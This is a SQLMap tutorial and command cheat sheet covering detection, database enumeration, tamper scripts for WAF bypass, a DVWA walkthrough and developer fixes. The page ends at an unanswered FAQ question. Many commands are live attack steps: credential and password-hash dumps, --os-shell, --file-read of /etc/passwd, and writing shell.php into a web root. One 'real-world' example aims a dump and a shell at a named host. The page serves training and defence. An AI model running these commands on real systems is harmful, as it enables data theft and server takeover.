GO KALI FREE
IntermediateTools

SQLMap Commands: Cheat Sheet & How to Use SQLMap in Kali Linux

Every SQLMap command you need - target, enumeration, tamper scripts, WAF bypass, OS shell - with a worked DVWA example, troubleshooting and the developer fix.

#sqlmap commands#sqlmap cheat sheet#how to use sqlmap#what is sqlmap#sqlmap tutorial#sqlmap kali linux#sql injection testing

Why You Need SQLMap

You suspect a web application is vulnerable to SQL injection — SQLMap automates the entire process of detection, exploitation, and data extraction. It handles the main injection techniques across MySQL, Oracle, PostgreSQL, MSSQL, SQLite, and more. It can enumerate databases, dump tables, and, on a vulnerable lab target, even gain OS-level access.

What Is SQLMap?

SQLMap is a free, open-source Python tool that automates SQL injection testing. You point it at a URL or a saved request, and it finds injectable parameters, identifies the database engine, enumerates databases and tables, and dumps data — taking over the database on vulnerable targets. It ships pre-installed on Kali Linux.

SQLMap automates six injection techniques — boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band — and tries them in turn until one works. Once a parameter is confirmed injectable, it fingerprints the backend (MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite and 40+ others), then walks down from databases to tables to columns to rows.

It does not replace understanding SQL injection. A negative result means SQLMap did not find an injectable parameter with the tests it ran — not that the code is safe. And it only ever runs against a target you own or have written permission to test: your own DVWA lab, a practice range, or an in-scope engagement target.

How to Use SQLMap in 4 Steps

Every SQLMap workflow follows the same four steps. Learn this sequence and the rest of the guide falls into place:

  • Detect — point SQLMap at a parameter and confirm whether it is injectable: sqlmap -u "http://127.0.0.1/page?id=1" --batch
  • Enumerate databases — list what the database server holds: add --dbs
  • Enumerate tables and columns — narrow to one database and table: add -D <database> --tables, then -T <table> --columns
  • Dump (lab only) — extract rows to prove impact: add -T <table> --dump
  • Work through these steps only against a target you own or have written permission to test — your own DVWA lab, bWAPP, or a deliberately vulnerable practice site. Running SQLMap against a live site you do not own is unauthorized testing, whatever your intent.

    Prerequisites

  • Basic understanding of SQL and database concepts
  • Familiarity with HTTP requests and web applications
  • Knowledge of SQL injection fundamentals
  • A lab web application for testing (DVWA, bWAPP, or SQLi Labs)
  • Explicit permission to test any target application
  • How SQLMap Works

    SQLMap works by injecting SQL payloads into parameter values and analyzing the application's response to determine if injection is possible. It uses several techniques:

    Boolean-based blind: Injects conditions that return true or false and observes differences in the response.

    Time-based blind: Uses time delay functions (SLEEP, WAITFOR) to infer information based on response timing.

    Error-based: Causes deliberate database errors to extract information from error messages.

    Union query: Uses UNION SQL statements to combine query results with attacker-controlled data.

    Stacked queries: Executes multiple SQL statements in a single request, enabling more complex operations.

    Installation

    SQLMap comes pre-installed on Kali Linux. For other systems:

    # Debian/Ubuntu (and Kali, if it is ever missing)
    sudo apt update && sudo apt install sqlmap
    
    # macOS with Homebrew
    brew install sqlmap
    
    # From source (always the latest version)
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
    cd sqlmap
    python3 sqlmap.py -h
    
    # Using pip
    pip install sqlmap
    

    Check it works before you start a test:

    sqlmap --version
    

    Updating SQLMap and Fixing "Version Is Outdated"

    Kali's packaged SQLMap can lag behind the git repository, so the "your SQLMap version is outdated" warning does not always mean apt has a newer version. Check what you have first:

    sqlmap --version
    apt-cache policy sqlmap
    command -v sqlmap
    

    Update the Kali package:

    sudo apt update && sudo apt install sqlmap
    sqlmap --version
    

    If you installed from source, update the checkout instead (the built-in --update only works on a source checkout, not on the apt package):

    cd sqlmap
    git pull --ff-only
    python3 sqlmap.py --version
    # or: python3 sqlmap.py --update
    

    --purge clears SQLMap's local data directory — it does not update the program, and it deletes saved sessions, so preserve any evidence you need before using it.

    Basic Usage

    The simplest SQLMap command tests a URL parameter for injection:

    sqlmap -u "http://127.0.0.1/page?id=1"
    

    Essential Options

    OptionDescription
    -u URLTarget URL with parameter
    --data=DATAPOST request body data
    -p PARAMSpecific parameter to test
    --level=LEVELTest intensity (1-5, default 1)
    --risk=RISKRisk of payloads (1-3, default 1)
    --batchNon-interactive mode (use defaults)
    --cookie=COOKIESession cookie
    --threads=THREADSConcurrent threads

    SQLMap Commands: The Complete Reference

    Every flag below is a real SQLMap option. The tables are grouped by job: pick the target, enumerate, then exploit. All examples use the DVWA lab on 127.0.0.1 — swap in your own lab URL. Run sqlmap -hh any time to see the full help.

    Target

    FlagWhat it doesExample
    -u URL, --url=URLTarget URL with a parameter to testsqlmap -u "http://127.0.0.1/page?id=1"
    -d DIRECTDirect database connection stringsqlmap -d "mysql://user:pass@127.0.0.1:3306/db"
    -l LOGFILEParse targets from a Burp or WebScarab proxy logsqlmap -l burp.log
    -m BULKFILETest many targets listed in a filesqlmap -m targets.txt --batch
    -r REQUESTFILELoad a raw HTTP request from a filesqlmap -r request.txt
    --method=METHODForce the HTTP method (GET, POST, PUT)sqlmap -u "http://127.0.0.1/page" --method=POST --data="id=1"
    --data=DATAPOST body to send with the requestsqlmap -u "http://127.0.0.1/login" --data="username=admin&password=<redacted>"
    --cookie=COOKIESession cookie for authenticated pagessqlmap -u "http://127.0.0.1/page?id=1" --cookie="PHPSESSID=abc123"
    --referer=URLReferer header to sendsqlmap -u "http://127.0.0.1/page?id=1" --referer="http://127.0.0.1/"
    --user-agent=AGENTCustom User-Agent headersqlmap -u "http://127.0.0.1/page?id=1" --user-agent="Mozilla/5.0"
    --random-agentPick a random User-Agent per requestsqlmap -u "http://127.0.0.1/page?id=1" --random-agent
    -p TESTPARAMETERTest only this parametersqlmap -u "http://127.0.0.1/page?id=1&name=x" -p id
    --skip=PARAMETERSkip this parameter entirelysqlmap -u "http://127.0.0.1/page?id=1" --skip="id"
    --dbms=DBMSForce the backend type (mysql, mssql, pgsql, oracle, sqlite)sqlmap -u "http://127.0.0.1/page?id=1" --dbms=mysql
    --os=OSForce the backend operating systemsqlmap -u "http://127.0.0.1/page?id=1" --os=Linux

    Enumeration

    FlagWhat it doesExample
    --dbsList all databasessqlmap -u "http://127.0.0.1/page?id=1" --dbs
    --tablesList tables in a databasesqlmap -u "http://127.0.0.1/page?id=1" -D shop_db --tables
    --columnsList columns in a tablesqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --columns
    --dumpDump table or database contentssqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --dump
    --countCount the rows in a tablesqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --count
    --searchSearch for column, table or database namessqlmap -u "http://127.0.0.1/page?id=1" --search -T users
    --schemaRetrieve the database schemasqlmap -u "http://127.0.0.1/page?id=1" --schema
    -D DBPick a database to work onsqlmap -u "http://127.0.0.1/page?id=1" -D shop_db --tables
    -T TABLEPick a table to work onsqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --columns
    -C COLUMNPick columns to dumpsqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users -C user,password --dump
    --exclude-sysdbsSkip system databases when enumeratingsqlmap -u "http://127.0.0.1/page?id=1" --dbs --exclude-sysdbs
    --current-dbShow the current database namesqlmap -u "http://127.0.0.1/page?id=1" --current-db
    --current-userShow the current database usersqlmap -u "http://127.0.0.1/page?id=1" --current-user
    --usersList database userssqlmap -u "http://127.0.0.1/page?id=1" --users
    --passwordsList user password hashes (and try to crack them)sqlmap -u "http://127.0.0.1/page?id=1" --passwords
    --privilegesList user privilegessqlmap -u "http://127.0.0.1/page?id=1" --privileges
    --is-dbaCheck whether the current user is a database adminsqlmap -u "http://127.0.0.1/page?id=1" --is-dba
    --bannerRetrieve the database banner (version string)sqlmap -u "http://127.0.0.1/page?id=1" --banner
    --fingerprintFingerprint the backend database in detailsqlmap -u "http://127.0.0.1/page?id=1" --fingerprint
    --hostnameRetrieve the database server hostnamesqlmap -u "http://127.0.0.1/page?id=1" --hostname
    --where=CONDITIONDump only rows matching a WHERE conditionsqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --where="id=1" --dump
    --start=ROW, --stop=ROWDump only a range of rowssqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --start=1 --stop=10 --dump

    Injection

    FlagWhat it doesExample
    --level=LEVELTest intensity, 1–5 (default 1)sqlmap -u "http://127.0.0.1/page?id=1" --level=3
    --risk=RISKPayload risk, 1–3 (default 1)sqlmap -u "http://127.0.0.1/page?id=1" --risk=2
    --technique=TECHTechniques to use: B boolean, E error, U union, S stacked, T time, Q inlinesqlmap -u "http://127.0.0.1/page?id=1" --technique=BT
    --tamper=SCRIPTTamper script(s) to rewrite payloadssqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment
    --time-sec=SECONDSSeconds to wait for time-based tests (default 5)sqlmap -u "http://127.0.0.1/page?id=1" --time-sec=10
    --union-cols=COLSRange of columns to try for UNION testssqlmap -u "http://127.0.0.1/page?id=1" --union-cols=1-10
    --union-char=CHARCharacter to use for UNION brute-forcingsqlmap -u "http://127.0.0.1/page?id=1" --union-char=NULL
    --second-order=URLURL to fetch for second-order injection resultssqlmap -u "http://127.0.0.1/page?id=1" --second-order="http://127.0.0.1/view"
    --chunkedUse HTTP chunked transfer encodingsqlmap -u "http://127.0.0.1/page?id=1" --chunked
    --hppUse HTTP parameter pollutionsqlmap -u "http://127.0.0.1/page?id=1" --hpp
    --eval=CODERun Python code before each requestsqlmap -u "http://127.0.0.1/page?id=1" --eval="import time"
    --skip-staticSkip testing static (non-dynamic) parameterssqlmap -u "http://127.0.0.1/page?id=1" --skip-static

    Detection and speed

    FlagWhat it doesExample
    -v VERBOSEVerbosity, 0–6 (default 1)sqlmap -u "http://127.0.0.1/page?id=1" -v 3
    --batchAnswer every prompt with the default (non-interactive)sqlmap -u "http://127.0.0.1/page?id=1" --batch
    --threads=THREADSParallel requests (default 1; try 3–5 in a lab)sqlmap -u "http://127.0.0.1/page?id=1" --threads=3 --batch
    --delay=SECONDSSeconds to wait between requestssqlmap -u "http://127.0.0.1/page?id=1" --delay=2
    --timeout=SECONDSSeconds to wait for a response before giving upsqlmap -u "http://127.0.0.1/page?id=1" --timeout=30
    --retries=RETRIESRetries when a connection dropssqlmap -u "http://127.0.0.1/page?id=1" --retries=3
    --safe-url=URLA safe URL to visit between requests (keeps a session alive)sqlmap -u "http://127.0.0.1/page?id=1" --safe-url="http://127.0.0.1/" --safe-freq=10
    --crawl=DEPTHCrawl links from the starting URL and test themsqlmap -u "http://127.0.0.1/" --crawl=1 --forms --batch
    --formsTest the forms found while crawlingsqlmap -u "http://127.0.0.1/" --crawl=1 --forms --batch
    --keep-aliveUse persistent HTTP connectionssqlmap -u "http://127.0.0.1/page?id=1" --keep-alive
    --null-connectionUse null connections (no body) to speed up testssqlmap -u "http://127.0.0.1/page?id=1" --null-connection
    --predict-outputPredict common output values to cut requestssqlmap -u "http://127.0.0.1/page?id=1" --predict-output
    --etaShow an estimated time of arrival for long runssqlmap -u "http://127.0.0.1/page?id=1" --eta
    --flush-sessionDiscard answers saved from an earlier runsqlmap -u "http://127.0.0.1/page?id=1" --flush-session
    --fresh-queriesIgnore previously stored query resultssqlmap -u "http://127.0.0.1/page?id=1" --fresh-queries

    Request and proxy

    FlagWhat it doesExample
    --proxy=URLRoute requests through a proxy (Burp, for example)sqlmap -u "http://127.0.0.1/page?id=1" --proxy="http://127.0.0.1:8080"
    --torRoute requests through Torsqlmap -u "http://127.0.0.1/page?id=1" --tor
    --ignore-proxyIgnore proxy settings from the environmentsqlmap -u "http://127.0.0.1/page?id=1" --ignore-proxy
    --auth-type=TYPEHTTP auth type: Basic, Digest, Bearer, NTLM, PKIsqlmap -u "http://127.0.0.1/page?id=1" --auth-type=Basic --auth-cred="user:pass"
    --csrf-token=NAMEName of the anti-CSRF token parametersqlmap -u "http://127.0.0.1/page?id=1" --csrf-token=token
    --csrf-url=URLURL to fetch a fresh anti-CSRF token fromsqlmap -u "http://127.0.0.1/page?id=1" --csrf-url="http://127.0.0.1/form"
    --force-sslForce HTTPS for the targetsqlmap -u "http://127.0.0.1/page?id=1" --force-ssl
    --header=HEADERExtra HTTP header to sendsqlmap -u "http://127.0.0.1/page?id=1" --header="X-Custom: 1"
    --load-cookies=FILELoad cookies from a Netscape-format filesqlmap -u "http://127.0.0.1/page?id=1" --load-cookies=cookies.txt

    Post-exploitation

    FlagWhat it doesExample
    --sql-query=QUERYRun a custom SQL querysqlmap -u "http://127.0.0.1/page?id=1" --sql-query="SELECT version()"
    --sql-shellInteractive SQL prompt on the backendsqlmap -u "http://127.0.0.1/page?id=1" --sql-shell
    --os-cmd=CMDRun one operating-system commandsqlmap -u "http://127.0.0.1/page?id=1" --os-cmd="id"
    --os-shellInteractive OS shell through the injectionsqlmap -u "http://127.0.0.1/page?id=1" --os-shell
    --os-pwnOut-of-band shell / Meterpreter / VNCsqlmap -u "http://127.0.0.1/page?id=1" --os-pwn
    --file-read=FILERead a file from the database serversqlmap -u "http://127.0.0.1/page?id=1" --file-read="/etc/passwd"
    --file-write=FILEWrite a local file to the serversqlmap -u "http://127.0.0.1/page?id=1" --file-write=shell.php --file-dest=/var/www/shell.php

    Output and maintenance

    FlagWhat it doesExample
    --output-dir=DIRDirectory for SQLMap output and logssqlmap -u "http://127.0.0.1/page?id=1" --output-dir=./sqlmap-out
    -s SESSIONFILESQLite session file for this targetsqlmap -u "http://127.0.0.1/page?id=1" -s ./target.sqlite
    --save=FILESave the options used to an INI filesqlmap -u "http://127.0.0.1/page?id=1" --save=./run.ini
    --updateUpdate SQLMap from its git repositorypython3 sqlmap.py --update
    --purgeClear SQLMap's local data directorysqlmap --purge
    --wizardSimple wizard interface for beginnerssqlmap --wizard
    -h, --helpBasic helpsqlmap -h
    -hhExtended helpsqlmap -hh
    --versionPrint the installed versionsqlmap --version

    SQLMap Level and Risk Explained

    --level controls how many tests SQLMap runs and which inputs it tests. It ranges from 1 to 5 and defaults to 1:

    LevelWhat it tests
    1GET and POST parameters (the default)
    2Level 1, plus cookies
    3Level 2, plus User-Agent and Referer headers
    4Level 3, plus more headers and inputs
    5Everything above, tested extensively

    --risk controls how disruptive the payloads are. It ranges from 1 to 3 and defaults to 1:

    RiskWhat it adds
    1Safe payloads only (the default)
    2Heavy time-based tests
    3OR-based tests and stacked queries that can change data
    SituationUse
    First pass on any target--level=1 --risk=1 (the defaults)
    Default scan found nothing, lab target--level=3 --risk=2
    Testing behind a login--level=2 or higher, with --cookie
    Live or production-adjacent targetNever above --risk=1, and only with written permission

    Higher level and risk mean more requests and a higher chance of breaking the target — a risk-3 payload can modify or delete data on a vulnerable application. In a lab that is the point; on anything else it is the reason you stay at the defaults.

    SQLMap Tamper Scripts and WAF Bypass

    A web application firewall (WAF) blocks requests whose payloads match its rules. A tamper script rewrites the payload before it is sent so the rule misses it — the injection itself is unchanged. Tamper scripts live in the sqlmap/tamper/ directory; apply one or more with --tamper, comma-separated:

    sqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment,randomcase --level=3 --batch
    
    ScriptWhat it doesWhen to use it
    space2commentReplaces spaces with /**/ commentsWAF blocks payloads containing spaces
    betweenReplaces > with NOT BETWEEN 0 AND #> is filtered
    randomcaseRandomizes letter case in keywordsCase-sensitive keyword filters
    charencodeURL-encodes the payloadFilters on plain keywords
    equaltolikeReplaces = with LIKE= is filtered
    space2plusReplaces spaces with +Space filtering on some backends
    space2dashReplaces spaces with -- comments and a newlineSpace filtering on MySQL/MSSQL
    space2mssqlblankReplaces spaces with MSSQL blank charactersMSSQL targets with space filters
    space2mysqlblankReplaces spaces with MySQL blank charactersMySQL targets with space filters
    space2hashReplaces spaces with # comments and a newlineMySQL targets with space filters
    apostrophemaskReplaces apostrophes with their UTF-8 full-width formApostrophe filtering
    base64encodeBase64-encodes the payloadEncoded-input handling
    versionedkeywordsWraps keywords in MySQL versioned commentsKeyword filters on MySQL
    versionedmorekeywordsVersioned comments on more keywordsKeyword filters on MySQL
    modsecurityversionedVersioned comments to evade ModSecurity rulesModSecurity in front of MySQL
    modsecurityzeroversionedVersioned comments with a zero versionModSecurity in front of MySQL
    randomcommentsInserts random /**/ comments inside keywordsKeyword filters
    charunicodeescapeUnicode-escapes non-encoded charactersFilters on plain ASCII payloads
    lowercaseLowercases the payloadCase-sensitive filters
    uppercaseUppercases the payloadCase-sensitive filters
    multiplespacesAdds multiple spaces around keywordsWhitespace-normalizing filters
    nonrecursivereplacementReplaces keywords so a single-pass filter misses themFilters that strip keywords once
    htmlencodeHTML-encodes the payloadFilters on raw characters
    unmagicquotesReplaces quotes with multi-byte combinationsMagic-quotes-style filtering
    xforwardedforAdds a fake X-Forwarded-For headerIP-based blocking

    Combine tamper scripts with --random-agent, --delay=2 and --time-sec to look less automated, and always verify a bypass by hand: a request that gets through the WAF is not proof of injection, and a request the WAF blocks is not proof the code is safe. Identify the WAF first with WAFW00F (see Keep Learning) so you pick scripts that match the filter in front of you.

    Database Enumeration

    List Available Databases

    sqlmap -u "http://127.0.0.1/page?id=1" --dbs
    

    List Tables in a Database

    sqlmap -u "http://127.0.0.1/page?id=1" -D database_name --tables
    

    List Columns in a Table

    sqlmap -u "http://127.0.0.1/page?id=1" -D database_name -T table_name --columns
    

    Dump Table Data

    sqlmap -u "http://127.0.0.1/page?id=1" -D database_name -T users --dump
    

    Worked Example: Testing DVWA Step by Step

    DVWA (Damn Vulnerable Web Application) is the standard safe lab for this guide. Set its security level to Low, log in, and open the SQL Injection page. The commands below use placeholder addresses and a placeholder session cookie — replace them with your own lab values.

    # Step 1: Detect — is the id parameter injectable?
    sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" --batch
    
    # Step 2: Enumerate databases
    sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" --dbs --batch
    
    # Step 3: List tables in the dvwa database
    sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" -D dvwa --tables --batch
    
    # Step 4: Dump the users table to prove the impact (lab only)
    sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your-session-id; security=low" -D dvwa -T users --dump --batch
    

    If the login page blocks you, the cookie is the usual culprit: log in to DVWA again in your browser, copy the fresh PHPSESSID value, and re-run. For a logged-in form you cannot reach by URL alone, capture the request in Burp Suite, save it as request.txt, and test it with sqlmap -r request.txt --batch instead.

    How to Read SQLMap Output

    Sample output — your addresses, database type and values will differ:

    [INFO] testing connection to the target URL
    [INFO] testing if the target URL content is stable
    [INFO] parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] N
    [INFO] the back-end DBMS is MySQL
    [INFO] fetching database names
    available databases [2]:
    [*] dvwa
    [*] information_schema
    

    Read it in this order: first, which parameter SQLMap calls vulnerable and which technique it used (boolean-based blind, error-based, UNION query, time-based blind, or stacked queries); second, the back-end database type, because that decides which payloads and functions work; third, the enumerated names themselves. Two warnings: a time-based blind result on a slow or unstable lab can be a false positive — confirm it manually before reporting it; and "all tested parameters do not appear to be injectable" means SQLMap found nothing at that level, not that the application is safe — raise --level, target a specific parameter with -p, or test a captured request with -r before concluding anything.

    Advanced Techniques

    POST Request Testing

    sqlmap -u "http://127.0.0.1/login" --data="username=admin&password=test" --level=2
    

    Using Custom Headers and Cookies

    sqlmap -u "http://127.0.0.1/dashboard" --cookie="PHPSESSID=abc123" --headers="X-Forwarded-For: 127.0.0.1"
    

    Request from File

    sqlmap -r request.txt
    

    Bypassing WAF

    sqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment --level=3
    

    OS Command Execution

    sqlmap -u "http://127.0.0.1/page?id=1" --os-shell
    

    Real-World Example: Full Assessment

    # Step 1: Initial scan
    sqlmap -u "http://testapp.com/products?id=1" --batch
    
    # Step 2: Enumerate databases
    sqlmap -u "http://testapp.com/products?id=1" --dbs
    
    # Step 3: Dump user credentials
    sqlmap -u "http://testapp.com/products?id=1" -D testapp_db -T users --dump
    
    # Step 4: Try OS shell
    sqlmap -u "http://testapp.com/products?id=1" --os-shell
    

    Practicing SQLMap on Hack The Box, TryHackMe and the OSCP Labs

    Hack The Box Academy has a SQLMap Essentials module with a skills assessment that walks through the same workflow this guide teaches — detection, enumeration, dumping — against lab machines. TryHackMe has a guided SQLMAP room that covers the basic commands in a safe environment. Both are good places to practice the flags in the reference above without setting up DVWA yourself.

    For OSCP preparation, the same commands apply, but the exam rules are different from lab rules: OffSec restricts automated exploitation tools on the exam, so check the current exam guide before assuming a tool permitted in a lab is permitted on exam day. Practice only in designated labs or within explicit written authorization — never on a live site you do not own.

    SQLMap vs Havij vs Nmap

    ToolWhat it doesSQLMap advantage or limit
    SQLMapOpen-source command-line tool that automates SQL injection detection and database takeoverThe dedicated SQLi tool: the deepest flag set, actively maintained, runs on Kali out of the box
    HavijLegacy Windows GUI tool for SQL injectionEasier to click through, but Windows-only, closed-source and unmaintained — no tamper scripts, no modern techniques
    NmapNetwork scanner: finds hosts, open ports and servicesA different job — it maps the target so you know what to test. Its http-sql-injection script only flags a possible issue; it does not enumerate or dump a database

    Use Nmap first to map the target, then SQLMap on the web application itself. An Nmap finding is not proof of SQL injection, and a SQLMap result is not a network inventory.

    Common Mistakes

    Using Default Level and Risk

    Default level (1) only tests basic payloads. Many injections require level 3 or higher.

    Not Providing Authentication Context

    Modern applications require session cookies. Always provide authentication context.

    Ignoring WAF Detection

    Identify the WAF first with WAFW00F and use appropriate tamper scripts.

    Best Practices

    Start with --batch: Use --batch for automated testing.

    Use --tamper scripts: WAFs are common. Loading appropriate tamper scripts increases success.

    Save request files: Using -r request.txt is more reliable.

    Verify manually: SQLMap results should be manually verified.

    How Developers Fix SQL Injection

    Finding the flaw is only half the job — the ranking guides all end here, and so should you. The fix is in the code, not in the firewall:

  • Use parameterized queries (prepared statements). The query structure is fixed and user input is sent as data only, so injected SQL can never change the query. This is the single fix that matters.
  • Apply least privilege to the database account. A read-only account for a public page limits what any injection can reach, even if one slips through.
  • Validate input against an allowlist where a value has a known shape (numbers, dates, fixed options) — but never treat validation as a substitute for parameterized queries.
  • Return generic error messages. Detailed database errors hand an attacker the schema for free.
  • Treat a WAF as defense in depth, not the fix. Filters can be bypassed; parameterized queries cannot be bypassed the same way. Re-run SQLMap after the fix to prove it works, not just to assume it does.
  • SQLMap Is Slow: Speed, Timeouts and Stability

    SQLMap is slow by design: a full scan sends thousands of requests, and time-based checks wait seconds per payload. Before tuning, compare with normal response times — a slow application is not the same as a slow scan.

    FixWhat it does
    --threads=3Send up to 3 requests in parallel (default 1; try 3–5 in a lab)
    --batchSkip every prompt so the scan runs unattended
    --technique=BTest only one technique (B boolean, E error, U union, S stacked, T time)
    --level=1 --risk=1Quick first pass with the smallest test set
    --time-sec=2Shorter wait for time-based tests on a fast network (raise it on a slow one)
    --delay=1Space requests out when a rate limit throttles you
    --predict-outputPredict common outputs to cut the request count
    --keep-aliveReuse HTTP connections instead of opening a new one per request
    --null-connectionSkip response bodies to speed up boolean tests
    ErrorWhat it means and what to do
    unable to connect to the target URLThe lab page is down, the URL is wrong, or a proxy blocks the request — open the page in a browser first, check --force-ssl, and check --proxy
    unable to retrieve the database namesInconclusive, not a clean result — raise --level/--risk, try a tamper script, or test a captured request with -r
    host does not existDNS or a typo — in the lab use 127.0.0.1, not a hostname that does not resolve
    sqlmap very slow / sqlmap slowSee the fixes table above; if a WAF or rate limit is throttling you, add --delay and --random-agent instead of more threads
    Time-based result looks like a false positiveRaise --time-sec and confirm the payload by hand — a slow response alone is not evidence of injection

    Troubleshooting SQLMap

  • "Host does not exist" or connection errors — check the URL, that the lab VM is running and reachable, and that you have not mistyped the address or port.
  • "All tested parameters do not appear to be injectable" — try --level=2 or --level=3, target the parameter explicitly with -p, add the session cookie, or test a captured request with -r request.txt.
  • SQLMap keeps asking the same questions — add --batch to accept defaults, or --flush-session to discard answers saved from an earlier run against the same target.
  • A WAF blocks the scan — identify the WAF first with WAFW00F, then try a tamper script such as space2comment, between, randomcase or charencode, and add --random-agent and --delay=2 to look less automated.
  • Cookie expired mid-scan — log in again, copy the new session cookie, and re-run; a stale cookie silently turns an authenticated test into an unauthenticated one.
  • Keep Learning

  • SQL Injection Basics
  • Burp Suite Introduction
  • Web Security Fundamentals
  • WAFW00F Guide
  • OWASP Top 10 Explained
  • API Hacking Guide
  • SQLMap
  • Burp Suite
  • WAFW00F
  • Nikto
  • Other tools in the same space: jSQL Injection (a Java GUI for SQL injection testing) and NoSQLMap (automated NoSQL injection testing).

    SQLMap Commands Cheat Sheet

    Keep this table beside you while you work. Every command below assumes you have already confirmed the parameter is injectable (see the worked example below).

    TaskCommand
    Test a URL parametersqlmap -u "http://127.0.0.1/page?id=1" --batch
    List databasessqlmap -u "http://127.0.0.1/page?id=1" --dbs
    List tables in a databasesqlmap -u "http://127.0.0.1/page?id=1" -D shop_db --tables
    List columns in a tablesqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --columns
    Dump a table (lab only)sqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users --dump
    Current database and usersqlmap -u "http://127.0.0.1/page?id=1" --current-db --current-user
    Test a POST formsqlmap -u "http://127.0.0.1/login" --data="username=admin&password=<redacted>" --level=2
    Test a captured requestsqlmap -r request.txt --batch
    Test only one parametersqlmap -u "http://127.0.0.1/page?id=1" -p id
    Crawl and test formssqlmap -u "http://127.0.0.1/" --crawl=1 --forms --batch
    Identify the WAF firstRun WAFW00F, then pick a tamper script — see the tamper section above
    Bypass a WAF filtersqlmap -u "http://127.0.0.1/page?id=1" --tamper=space2comment --level=3
    Ignore saved answerssqlmap -u "http://127.0.0.1/page?id=1" --flush-session
    Dump one column onlysqlmap -u "http://127.0.0.1/page?id=1" -D shop_db -T users -C user,password --dump
    Run a custom querysqlmap -u "http://127.0.0.1/page?id=1" --sql-query="SELECT version()"

    Flags worth memorising: -u is the target URL, -D picks a database, -T picks a table, -C picks a column, --level (1-5) controls how many injection points are tested, --risk (1-3) controls how aggressive the payloads are, and --batch answers every prompt with the default so a scan runs unattended. Start at the defaults and raise level and risk only when the default scan finds nothing.

    Summary

    SQLMap is the most powerful automated SQL injection testing tool available. It supports multiple injection techniques, all major database systems, and features like WAF bypass and OS shell access.

    Knowledge Check

  • What does the --level option control in SQLMap?
  • How do tamper scripts help bypass WAF detection?
  • What is the difference between boolean-based and time-based blind injection?
  • Why should you provide cookies when testing authenticated pages?
  • What does the -r option do?
  • How do you read SQLMap output to confirm a parameter is really injectable?
  • How do developers fix SQL injection, and how do you prove the fix works?
  • How does raising --level differ from raising --risk?
  • Which tamper script replaces spaces with comments, and when would you use it?
  • Answers: 1. --level (1-5) controls how many tests SQLMap runs and which inputs it tests. 2. Tamper scripts rewrite payloads (spaces to comments, changed case, encoded characters) so WAF pattern filters miss them. 3. Boolean-based reads true/false from response differences; time-based infers data from response delays. 4. Without cookies SQLMap only tests unauthenticated pages and misses injection points behind login. 5. -r loads a raw HTTP request from a file instead of building one from a URL. 6. Look for "parameter is vulnerable", then reproduce the payload by hand - a slow response alone is not proof. 7. Use parameterized queries (prepared statements) and prove the fix by re-running the scan and confirming the parameter is no longer injectable. 8. --level adds more tests and inputs; --risk adds more disruptive payload classes. 9. space2comment; use it when a WAF blocks payloads that contain spaces.

    Frequently Asked Questions

    What is SQLMap and what does it do?

    SQLMap is an open-source tool that automates SQL injection detection and exploitation. It can identify injection points, enumerate databases and tables, extract data, bypass authentication, and even gain OS shell access on vulnerable systems.

    What SQL injection types can SQLMap detect?

    SQLMap detects over a dozen injection types including boolean-based blind, time-based blind, error-based, union query, and stacked queries. It supports MySQL, Oracle, PostgreSQL, SQL Server, SQLite, and other major database systems.

    What does the `--level` option control in SQLMap?

    The --level option (1-5) controls test intensity. Level 1 tests basic payloads, while higher levels test more injection points including headers, cookies, and User-Agent strings. Level 3 or higher is often needed for comprehensive testing.

    How do tamper scripts help bypass WAF detection?

    Tamper scripts modify SQL payloads to evade Web Application Firewall (WAF) filters. Scripts like space2comment replace spaces with comments, charencode URL-encodes characters, and randomcase randomizes letter case to bypass pattern matching.

    Why should you provide cookies when testing authenticated pages?

    Most modern web applications require authentication. Without valid session cookies, SQLMap only tests unauthenticated pages, missing injection points behind login. Provide cookies with --cookie to test the full application.

    What is the difference between boolean-based and time-based blind injection?

    Boolean-based blind injects conditions that return true/false and observes response differences. Time-based blind uses database delay functions (SLEEP, WAITFOR) to infer data from response timing. Boolean-based is faster; time-based works when no visible differences exist.

    What does the `-r` option do in SQLMap?

    The -r option reads a raw HTTP request from a file instead of constructing it from URL parameters. This is useful for testing complex requests with specific headers, cookies, and POST data captured from tools like Burp Suite.

    How do you test POST parameters with SQLMap?

    Use --data='param=value' to specify POST body data, or -r request.txt with a captured request file. Use --level=2 or higher to test all POST parameters, not just the first one identified.

    What is `--os-shell` in SQLMap?

    The --os-shell option attempts to gain an operating system command shell on the target through SQL injection. It works when the database has sufficient privileges and the database backend supports stacked queries or out-of-band data transfer.

    How should you verify SQLMap results?

    Always manually verify SQLMap findings. Automated tools can produce false positives, especially with time-based techniques. Confirm injection points by reproducing the payloads manually and verifying the database responses match expected behavior.

    How do I install SQLMap on macOS?

    On macOS, install it with Homebrew: brew install sqlmap. On Kali Linux it is pre-installed; on Debian or Ubuntu use sudo apt install sqlmap. From source, clone the sqlmapproject/sqlmap repository and run it with python3 sqlmap.py.

    What is the basic SQLMap command to test a URL?

    sqlmap -u "http://127.0.0.1/page?id=1" --batch tests the id parameter for SQL injection and answers prompts with defaults. Add --dbs to list databases, then -D database --tables and -T table --dump to narrow down to the data, always on a lab target you own or are authorized to test.

    Can SQLMap crawl a site and test its forms?

